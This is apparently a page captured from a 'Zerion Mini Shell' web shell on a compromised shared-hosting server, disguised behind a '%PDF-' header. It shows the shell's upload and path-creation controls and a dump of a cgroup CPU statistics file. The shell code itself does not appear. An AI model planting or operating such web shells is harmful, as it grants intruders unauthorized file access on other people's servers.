%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /sys/fs/cgroup/cpu/lve1364/
Upload File :
Create Path :
Current File : //sys/fs/cgroup/cpu/lve1364/cpu.proc.stat

cpu  23944261 0 4296098 40334814395 91390 0 0 75230
cpu0 1206434 0 238774 1680296359 29309 0 0 8005
cpu1 1282256 0 215767 1680229073 6399 0 0 3862
cpu2 1215245 0 202266 1680333940 3110 0 0 3585
cpu3 1264758 0 208944 1680270272 2259 0 0 3321
cpu4 1158507 0 193943 1680405973 2713 0 0 3104
cpu5 1083986 0 186741 1680509113 2437 0 0 2957
cpu6 1063769 0 184749 1680536194 2264 0 0 2907
cpu7 1054815 0 186263 1680548086 2642 0 0 2967
cpu8 1001497 0 180815 1680612612 2478 0 0 2895
cpu9 1029671 0 186894 1680577080 3156 0 0 2998
cpu10 982651 0 179789 1680642492 2260 0 0 3001
cpu11 1010233 0 184796 1680608887 3390 0 0 2992
cpu12 1012309 0 187439 1680592115 3121 0 0 3112
cpu13 969526 0 178734 1680654227 2590 0 0 2859
cpu14 965895 0 178353 1680663802 2627 0 0 2899
cpu15 973716 0 178581 1680648362 3507 0 0 2994
cpu16 913738 0 169062 1680731693 2055 0 0 2797
cpu17 857905 0 158164 1680804106 2039 0 0 2636
cpu18 890632 0 161148 1680765648 2268 0 0 2448
cpu19 824925 0 150350 1680851615 1798 0 0 2575
cpu20 838411 0 153914 1680829840 2139 0 0 2579
cpu21 793424 0 146067 1680885543 2098 0 0 2592
cpu22 824058 0 149531 1680841232 2853 0 0 2453
cpu23 725889 0 135003 1680976119 1868 0 0 2679
intr 0
swap 0 0

ctxt 80518590
btime 1747808572
processes 1380613
procs_running 0
procs_blocked 0

Zerion Mini Shell 1.0